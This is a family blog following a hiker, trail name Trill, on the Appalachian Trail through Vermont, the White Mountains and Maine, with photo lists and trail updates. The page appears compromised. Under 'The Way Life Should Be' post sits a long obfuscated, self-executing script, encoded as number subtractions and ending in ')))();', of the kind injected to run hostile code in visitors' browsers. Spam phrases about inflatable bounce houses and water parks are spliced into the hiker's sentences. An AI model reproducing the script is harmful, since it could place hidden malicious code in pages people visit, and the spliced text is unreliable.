Almost There

Trill called on Tuesday to say he was beginning the 100 Mile Wilderness , 114 miles to go but who’s counting.   Actually approaching the end of this amazing journey is bittersweet for him.   He was excited Tuesday though for this next challenge.

Having this website has been fun for many of us tracking his progress and so many people have come to the site to check  but not always posting a note.  I thought it would be great for Trill aka Brandon to have a congratulatory note from all who have been checking in over the past 5 months. So sign on and post a quick note that he can read when he finishes and returns home.   Thanks to all for your interest and prayers.

 

Maine Update

Trill’s brother Ben has joined him on the trail at Stratton, ME and will hike with him to Monson.  From there, Trill will have the 100-mile Wilderness and the climb up Katahdin on his own.  Almost there!  Ben normally does the  updating to this site so you may have a few days of slow news but he will have lots of pictures later!  Can’t wait to see if Ben acquires a trail name during the week.  It didn’t take me long to get “+12″ but I had to work at it.

Katie Beasley has updated Trill’s hike in the Auburn Plainsman again.  Thanks Katie!  Here is the link to the latest article.

http://www.theplainsman.com/sports/2008/jul-17/mcmath_nears_trail_hike_finish

Keep the prayers lifting.  He plans to summit sometime near the end of the month.  Trail magic is still happening thanks to DaleAmerica and others that Trill doesn’t even know about yet.  The journey has truly been the destination.

 

“The Whites”

Trill has sent in some pictures from his trek through the Whites!

(left and right arrow keys to navigate, esc to exit)

sunset-from-fire-wardens-tower-before-the-whites.jpgsunset-from-fire-wardens-tower-before-the-whites2.jpgsunset-from-fire-wardens-tower-before-the-whites3.jpgmoosiauke-fog1.jpgmoosiauke-summit-during-storm1.jpgmoosiauke1.jpgbrandon-at-moosiauke1.jpgthe-amazing-morning-view-i-had-at-beaver-brook-shelter-if-you-notice-it-was-before-6am1.jpgan-intense-section-of-trail-in-the-whites1.jpgfranconia-ridge-whites1.jpgmount-layfayette-whites1.jpggalehead-hut-whites1.jpgwebster-cliffs-whites1.jpgsomewhere-above-treeline-whites1.jpgmount-washington-whites1.jpgview-of-pinkham-notch1.jpgself-portrait1.jpgbrandon-and-border-sign1.jpgborder-sign1.jpgmain-border1.jpglast-nights-sunset.jpgmahoosic-notch1.jpgmahoosic-notch21.jpgmahoosic-notch31.jpg

  1. Sunset from fire warden’s tower (before the whites)
  2. Sunset from fire warden’s tower (before the whites)2
  3. Sunset from fire warden’s tower (before the whites)3
  4. Moosiauke fog
  5. Moosiauke summit during storm
  6. Moosiauke
  7. Brandon at Moosiauke
  8. the amazing morning view I had at Beaver Brook Shelter (if you notice it was before 6am)
  9. an Intense section of trail in the whites
  10. Franconia Ridge (whites)
  11. Mount Layfayette (whites)
  12. Galehead Hut (whites)
  13. Webster cliffs (whites)
  14. somewhere above treeline (whites)
  15. mount washington (whites)
  16. view of Pinkham Notch
  17. Self Portrait
  18. Main Border
  19. Border Sign
  20. Brandon and Border Sign
  21. Last night’s sunset
  22. Mahoosic Notch
  23. Mahoosic Notch2
  24. Mahoosic Notch3
 

The Way Life Should Be

Something happened yesterday. I was hiking all alone and I turned a corner and stopped. I just sat there for about 20 minutes without saying anything. The sun was setting and all I could hear was the little noises of the woods. There was a sign that said, “Welcome to MAINE”. I had made it. I started in Georgia for the last 4+ months have been walking to Maine. Unfortunately it was late and I had many miles to do in the dark so I pushed on. But I kept thinking to myself. I had walked almost 1900 miles at this point and I know I am close to the finish. It seems like all I have to do is wrap it up. 

The White Mountain Bounce House With Slide National Forest was an awesome section of the trail. It is the first time us Northbounders get above tree line. I was lucky and had amazing weather most of the time. Which is good for an area known for its bad weather. I summated Mount Moosilauke in a dense fog with a constant 40-60 mph wind with gusts higher than that. I knew I would be the only one crazy enough to be up there at 7 pm so I knew I had it to myself. I’ve gotten pretty good at hiking with a lean. The rest of the ‘Whites’ were gorgeous. Tons of pictures coming hopefully.  

I am currently at ‘The Cabin’ in Maine and about to have lobster for dinner. You have no idea how long I’ve dreamed about Maine lobster. I was going to wait for the finish but the people I am staying with are cooking it for dinner. Impossible to pass. Thank you to DaleAmerica for this Inflatable Water Park For Sale amazing trail magic. I’ve picked up the miles recently and this helps my weary bones.  I also traversed the Mahoosic Notch today. It is known as the toughest mile on the trail. Its all boulders (house-size) in this very narrow notch between two mountains. There is year round ice and a moose carcass right in the middle of the trail. ��

So less than 300 to go. One really fun thing has been meeting all the Southbounders. You know wherever you meet them that combined you have done the entire trail. You try to pass along helpful information about the trail or towns or whatever. I get jealous with everyone I meet because they have so much cool stuff ahead of them. I look back and think of all the good times and amazing experiences. Since they have been on the trail a month a lot of them are trying to find their groove and like to talk about their miles and averages. I try to tell them that they miles will just come and don’t worry about them. There is so much fun to be had and if you enjoy yourself enough and hold out through the tough times, you���ll get to where I am at. In my final state and afraid to finish.

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113 – 3, 80 – 9, 125 – 6, 52 – 4, 112 – 7, 84 – 6, 111 – 7, 109 – 6, 60 – 5, 79 – 7, 79 – 7, 55 – 7, 79 – 3, 83 – 6, 89 – 8, 121 – 2, 83 – 9, 74 – 1, 112 – 8, 103 – 3, 95 – 7, 82 – 7, 73 – 7, 126 – 7, 107 – 3, 80 – 5, 114 – 9, 104 – 1, 104 – 5, 71 – 3, 90 – 2, 61 – 8, 100 – 2, 92 – 5, 88 – 1, 91 – 9, 94 – 4, 80 – 3, 72 – 6, 94 – 5, 120 – 4, 76 – 9, 90 – 8, 75 – 6, 116 – 8, 95 – 8, 53 – 5, 82 – 8, 71 – 1, 88 – 1, 95 – 7, 90 – 4, 82 – 3, 98 – 1, 86 – 4, 53 – 1, 80 – 6, 79 – 5, 78 – 8, 74 – 1, 99 – 2, 74 – 5, 67 – 2, 65 – 9, 56 – 8, 73 – 8, 108 – 2, 125 – 6, 85 – 7, 85 – 2, 75 – 4, 123 – 7, 91 – 8, 74 – 2, 76 – 8, 126 – 7, 100 – 3, 82 – 4, 73 – 7, 54 – 2, 119 – 4, 82 – 1, 73 – 7, 59 – 7, 52 – 1, 78 – 6, 106 – 3, 124 – 5, 117 – 4, 93 – 8, 77 – 5, 92 – 6, 73 – 3, 102 – 5, 89 – 4, 74 – 8, 67 – 2, 81 – 4, 121 – 2, 119 – 8, 109 – 9, 79 – 3, 108 – 5, 69 – 4, 112 – 3, 89 – 5, 112 – 2, 88 – 6, 93 – 7, 92 – 9, 71 – 3, 106 – 3, 80 – 8, 71 – 1, 86 – 3, 84 – 6, 88 – 7, 105 – 5, 95 – 9, 71 – 1, 120 – 8, 86 – 2, 56 – 8, 65 – 8, 55 – 5, 89 – 6, 75 – 5, 110 – 2, 116 – 5, 90 – 9, 119 – 9, 93 – 8, 78 – 2, 84 – 7, 86 – 4, 108 – 5, 74 – 8, 76 – 2, 73 – 7, 102 – 3, 79 – 4, 101 – 2, 117 – 9, 56 – 3, 58 – 9, 85 – 3, 90 – 3, 110 – 3, 81 – 3, 77 – 8, 71 – 3, 78 – 5, 86 – 2, 72 – 4, 85 – 2, 119 – 7, 93 – 5, 77 – 4, 90 – 9, 70 – 1, 103 – 4, 89 – 9, 69 – 2, 120 – 5, 79 – 9, 75 – 9, 107 – 4, 124 – 9, 110 – 1, 76 – 6, 131 – 9, 75 – 1, 73 – 2, 90 – 1, 71 – 2, 73 – 3, 90 – 6, 93 – 5, 73 – 3, 77 – 3, 99 – 9, 101 – 3, 58 – 9, 109 – 2, 122 – 2, 66 – 1, 87 – 4, 119 – 8, 107 – 7, 74 – 8, 86 – 2, 81 – 4, 100 – 1, 76 – 8, 92 – 5, 77 – 8, 104 – 7, 84 – 5, 108 – 5, 73 – 4, 106 – 1, 73 – 8, 86 – 5, 53 – 4, 55 – 5, 85 – 1, 57 – 8, 112 – 5, 122 – 7, 83 – 9, 110 – 4, 124 – 9, 85 – 5, 76 – 2, 71 – 6, 56 – 7, 82 – 9, 106 – 4, 92 – 6, 82 – 8, 104 – 3, 102 – 3, 110 – 2, 62 – 9, 57 – 8, 83 – 1, 92 – 5, 109 – 2, 83 – 7, 83 – 5, 127 – 6, 67 – 2, 91 – 7, 77 – 7, 92 – 8, 113 – 2, 105 – 6, 106 – 8, 116 – 7, 91 – 9, 118 – 6, 86 – 3, 69 – 3, 93 – 7, 104 – 5, 110 – 9, 71 – 1, 116 – 8, 121 – 3, 69 – 1, 127 – 5, 82 – 1, 104 – 5, 98 – 1, 91 – 9, 112 – 1, 80 – 2, 82 – 4, 124 – 4, 91 – 2, 72 – 7, 76 – 4, 74 – 9, 52 – 4, 49 – 1, 74 – 3, 111 – 6, 126 – 7, 122 – 8, 74 – 9, 69 – 1, 78 – 1, 84 – 2, 75 – 6, 108 – 5, 97 – 8, 94 – 6, 76 – 3, 88 – 7, 122 – 7, 56 – 1, 77 – 5, 108 – 5, 109 – 2, 61 – 7, 89 – 4, 108 – 1, 90 – 8, 122 – 4, 70 – 3, 111 – 5, 67 – 2, 98 – 1, 71 – 6, 70 – 5, 97 – 8, 108 – 9, 82 – 5, 126 – 7, 72 – 7, 84 – 4, 79 – 3, 110 – 6, 92 – 6, 61 – 4, 69 – 2, 70 – 2, 125 – 6, 77 – 6, 68 – 1, 126 – 5, 77 – 4, 107 – 9, 74 – 4, 109 – 4, 79 – 9, 89 – 7, 109 – 7, 74 – 5, 57 – 5, 127 – 6, 92 – 3, 114 – 7, 106 – 2, 54 – 4, 94 – 9, 117 – 9, 112 – 5, 110 – 1, 77 – 5, 54 – 3, 91 – 5, 76 – 5, 84 – 8, 82 – 1, 107 – 8, 78 – 2, 78 – 5, 126 – 6, 59 – 3, 104 – 5, 77 – 4, 83 – 2, 50 – 1, 57 – 2, 81 – 9, 69 – 2, 127 – 8, 78 – 4, 72 – 4, 73 – 6, 65 – 9, 109 – 5, 75 – 7, 92 – 9, 56 – 4, 80 – 2, 78 – 1, 76 – 7, 58 – 5, 56 – 8, 95 – 9, 88 – 2, 95 – 9, 51 – 1, 91 – 5, 90 – 8, 116 – 5, 104 – 1, 75 – 5, 76 – 9, 93 – 8, 69 – 2, 85 – 9, 73 – 7, 125 – 6, 80 – 2, 101 – 2, 93 – 5, 105 – 1, 96 – 6, 99 – 1, 50 – 1, 110 – 2, 58 – 9, 93 – 9, 116 – 7, 112 – 4, 79 – 6, 92 – 9, 69 – 2, 114 – 3, 83 – 4, 93 – 6, 87 – 4, 123 – 8, 94 – 7, 80 – 2, 111 – 7, 123 – 8, 114 – 7, 76 – 8, 87 – 6, 91 – 2, 107 – 2, 96 – 8, 70 – 5, 117 – 2, 120 – 7, 73 – 2, 73 – 5, 76 – 7, 94 – 6, 80 – 9, 105 – 1, 123 – 4, 83 – 9, 79 – 6, 110 – 6, 106 – 6, 98 – 8, 105 – 6, 114 – 7, 84 – 2, 56 – 7, 85 – 2, 84 – 1, 67 – 2, 79 – 8, 73 – 1, 73 – 5, 78 – 1, 74 – 9, 78 – 7, 68 – 1, 128 – 9, 82 – 4, 86 – 6, 69 – 3, 106 – 3, 124 – 9, 87 – 3, 50 – 2, 77 – 7, 56 – 6, 75 – 8, 90 – 2, 84 – 6, 121 – 3, 93 – 6, 91 – 3, 87 – 1, 80 – 1, 103 – 6, 93 – 8, 107 – 4, 80 – 4, 80 – 1, 105 – 1, 102 – 3, 93 – 4, 86 – 6, 93 – 9, 74 – 9, 57 – 2, 78 – 7, 109 – 4, 127 – 8, 98 – 1, 75 – 3, 115 – 9, 101 – 2, 110 – 9, 94 – 9, 87 – 3, 52 – 4, 106 – 7, 82 – 4, 71 – 6, 117 – 6, 125 – 6, 80 – 1, 121 – 1, 121 – 2, 59 – 8, 72 – 6, 105 – 1, 124 – 5, 86 – 9, 77 – 8, 91 – 7, 73 – 8, 80 – 2, 81 – 8, 109 – 4, 75 – 6, 79 – 8, 81 – 8, 112 – 8, 105 – 6, 82 – 6, 81 – 2, 89 – 7, 109 – 6, 61 – 8, 89 – 7, 59 – 8, 82 – 8, 107 – 2, 88 – 5, 76 – 4, 99 – 9, 92 – 9, 92 – 5, 92 – 5, 66 – 9, 96 – 6, 76 – 2, 111 – 7, 112 – 1, 116 – 5, 77 – 6, 111 – 7, 124 – 4, 52 – 9, 94 – 7, 55 – 7, 83 – 9, 73 – 3, 93 – 6, 89 – 1, 92 – 6, 87 – 8, 99 – 2, 90 – 8, 95 – 9, 113 – 8, 107 – 7, 114 – 6, 80 – 7, 70 – 1, 95 – 6, 58 – 9, 110 – 2, 115 – 8, 96 – 8, 114 – 5, 70 – 4, 88 – 4, 92 – 3, 116 – 8, 128 – 9, 83 – 3, 92 – 7, 96 – 9, 97 – 7, 87 – 6, 106 – 8, 111 – 2, 86 – 4, 70 – 2, 41 – 2, 61 – 2, 11 – 1, 108 – 6, 119 – 2, 117 – 7, 103 – 4, 117 – 1, 112 – 7, 113 – 2, 116 – 6, 33 – 1, 128 – 8, 114 – 3, 115 – 1, 102 – 7, 103 – 2, 113 – 3, 101 – 2, 49 – 9, 120 – 5, 117 – 1, 123 – 9, 110 – 5, 114 – 4, 109 – 6, 49 – 5, 41 – 9, 115 – 8, 107 – 6, 122 – 1, 49 – 8, 33 – 1, 131 – 8, 16 – 6, 41 – 9, 33 – 1, 123 – 5, 101 – 4, 115 – 1, 35 – 3, 117 – 3, 102 – 1, 118 – 3, 38 – 6, 62 – 1, 35 – 3, 48 – 9, 42 – 3, 67 – 8, 17 – 7, 34 – 2, 38 – 6, 109 – 7, 112 – 1, 116 – 2, 33 – 1, 44 – 4, 119 – 1, 100 – 3, 115 – 1, 36 – 4, 112 – 7, 40 – 8, 64 – 3, 41 – 9, 51 – 3, 63 – 4, 39 – 7, 108 – 3, 40 – 8, 63 – 3, 35 – 3, 119 – 4, 121 – 5, 123 – 9, 113 – 8, 113 – 3, 106 – 3, 47 – 1, 115 – 7, 108 – 7, 116 – 6, 110 – 7, 124 – 8, 107 – 3, 66 – 7, 34 – 2, 109 – 4, 46 – 3, 51 – 8, 43 – 2, 37 – 5, 127 – 4, 13 – 3, 41 – 9, 33 – 1, 33 – 1, 36 – 4, 118 – 4, 104 – 3, 120 – 5, 39 – 7, 52 – 9, 63 – 2, 37 – 5, 88 – 5, 124 – 8, 121 – 7, 111 – 6, 119 – 9, 109 – 6, 53 – 7, 105 – 3, 123 – 9, 117 – 6, 112 – 3, 72 – 5, 111 – 7, 105 – 8, 116 – 2, 71 – 4, 120 – 9, 105 – 5, 103 – 2, 49 – 9, 117 – 2, 122 – 6, 117 – 3, 106 – 1, 117 – 7, 107 – 4, 55 – 9, 101 – 2, 105 – 1, 100 – 3, 119 – 5, 69 – 2, 113 – 2, 103 – 3, 103 – 2, 73 – 8, 121 – 5, 49 – 9, 107 – 2, 47 – 6, 35 – 3, 103 – 9, 18 – 8, 33 – 1, 37 – 5, 34 – 2, 38 – 6, 36 – 4, 33 – 1, 37 – 5, 39 – 7, 35 – 3, 33 – 1, 35 – 3, 39 – 7, 39 – 7, 37 – 5, 38 – 6, 37 – 5, 35 – 3, 40 – 8, 40 – 8, 41 – 9, 36 – 4, 38 – 6, 41 – 9, 39 – 7, 37 – 5, 39 – 7, 41 – 9, 34 – 2, 33 – 1, 36 – 4, 37 – 5, 38 – 6, 111 – 4, 108 – 7, 123 – 2, 54 – 8, 101 – 2, 105 – 1, 101 – 4, 119 – 5, 70 – 3, 115 – 4, 102 – 2, 105 – 4, 68 – 3, 122 – 6, 49 – 9, 111 – 6, 39 – 7, 40 – 3, 35 – 3, 114 – 7, 104 – 3, 125 – 4, 48 – 2, 114 – 6, 102 – 1, 112 – 2, 104 – 1, 124 – 8, 113 – 9, 46 – 5, 47 – 6, 65 – 6, 11 – 1, 39 – 7, 39 – 7, 129 – 4, 12 – 2, 38 – 6, 37 – 5, 123 – 9, 102 – 1, 119 – 3, 119 – 2, 120 – 6, 112 – 2, 41 – 9, 122 – 8, 104 – 3, 117 – 2, 61 – 2, 13 – 3, 126 – 1, 13 – 3, 17 – 7, 126 – 8, 104 – 7, 115 – 1, 37 – 5, 104 – 4, 108 – 7, 100 – 1, 36 – 4, 69 – 8, 33 – 1, 128 – 8, 113 – 2, 120 – 6, 97 – 2, 105 – 4, 112 – 2, 108 – 9, 46 – 6, 103 – 6, 124 – 8, 117 – 6, 101 – 3, 45 – 5, 106 – 5, 116 – 6, 106 – 7, 109 – 8, 103 – 3, 46 – 5, 47 – 3, 41 – 9, 115 – 8, 109 – 8, 126 – 5, 43 – 2, 61 – 2, 18 – 8, 46 – 6, 114 – 4, 108 – 7, 126 – 7, 39 – 7, 74 – 4, 125 – 8, 119 – 9, 108 – 9, 122 – 6, 114 – 9, 114 – 3, 111 – 1, 41 – 1, 104 – 4, 105 – 4, 104 – 5, 44 – 3, 47 – 6, 49 – 9, 45 – 4, 68 – 9, 14 – 4, 16 – 6)))();

 

Can You Say Moosilauke?

Trill called yesterday to tell us he was on Mt. Moosilauke.  He said he was above the tree line, had 40 feet visibility and the wind was blowing constantly at 60 mph…..and he was having a great time!  He was hiding behind a stone wall just so we could hear him.

His hiking buddy Allgood has taken off a few days to see friends.  He thought he might have lyme’s disease but is much better after some antibiotics.  HIs brother Ben is going up to hike some with him week after next so they are looking forward to that.

Less than 400 miles to go.   390 to be exact.

Keep praying.

 

Encouragement

Trill was recently quoted in a Note of Encouragement from Ciloa.org.  Chuck (trailname: Stryder) uses some of Trill’s thoughts and feelings on what it is like to hike the AT to relate to how we can and do look at life’s journey.   One interesting quote from the Note:

Solomon once wrote, Two are better than one, because they have a good return for their work: If one falls down, his friend can help him up. But pity the man who falls and has no one to help him up! (Ecclesiastes 4:9-10) Notice that the real emphasis here is not on the “one”. It’s on the “two”.

I think Trill would concur that the friendship he has developed on the trail and the kindness he has seen in various towns by complete strangers has been one of the best experiences of his trip.

 

Random Photos

Trill sent these photos along with his last update, but didn’t include any descriptions.  I can only assume the one of the roof has the infamous “Whites” in the background.  The rest I guess are fairly self explanatory.

(left and right arrow keys to navigate, esc to exit)

picture-001.jpgpicture-002.jpgpicture-006.jpgpicture-004.jpgpicture-011.jpg

 

Ivy League

Well I am back on a college campus. Kinda. Dartmouth is in summer session and the only students here are rising juniors. The campus is filled however with high school and college students from all over doing camps and workshops. Almost everyone we meet is not a student but still a cool place.

We are currently staying at the co-ed fraternity house of Phi Tau. They put up thru-hikers during the summer and let us crash in their “movie room” in the basement. Living in a fraternity house is much different the woods and the change is welcomed for a little while at least. I say we because Allgood, Sunnyside and Pebble are all staying there. We actually all zeroed today and good thing because is rained buckets. It has actually been raining Inflatable Slide for like the last week solid. Usually only about half the day but still not very fun. One day we just sat in the shelter till 5pm and hiked till about 1am.

Vermont is over with and “The Whites” loom. Should be about three days before I get into them. They complicate things a little bit because there aren’t any shelters. Instead they have ‘huts’. Which are run by the AMC and charge 90 bucks a night to stay in. Thru hikers have to show up before 6 and usually can get a Inflatable Park ‘work for stay’ which includes cleaning up or helping out to avoid the 90 dollar charge. It will also be the first time we get above tree line which makes my hammock worthless. Literally everyone talks about the whites all the time. I am sure their beauty will stand up to their reputation. I got my winter gear back because of the unpredictability of the weather. Should be fun and I am pumped.

 

Trill hits the Presses

Trill’s article came out in the Auburn Plainsman newspaper today.  Thank you Katie for sharing his story.  Here is the link which I hope will take you to the article.  If not, Ben will post a link later.

Auburn students fulfill dream, venture up Appalachian Trail – The Auburn Plainsman

 

Vermont Pictures

Trill is so much better at coming up with titles for these posts.  Oh well,  Here are some pictures he’s sent from Vermont.

(right and left arrow keys to navigate, esc key to exit)

 Vermont BorderAllgood doing some trail maintenanceAllgood and SunnysideView from Stratton Mtn Fire TowerPatch of ButterfliesRock cairns along the trailMore rock cairnsEven more rock cairns

  1. Vermont Border
  2. AllGood Doing Trail Maintenance
  3. AllGood and SunnySide
  4. View From Stratton Mtn Fire Tower
  5. Patch of Butterflies
  6. Rock Cairns Along the Trail
  7. More Rock Cairns
  8. Even More Rock Cairns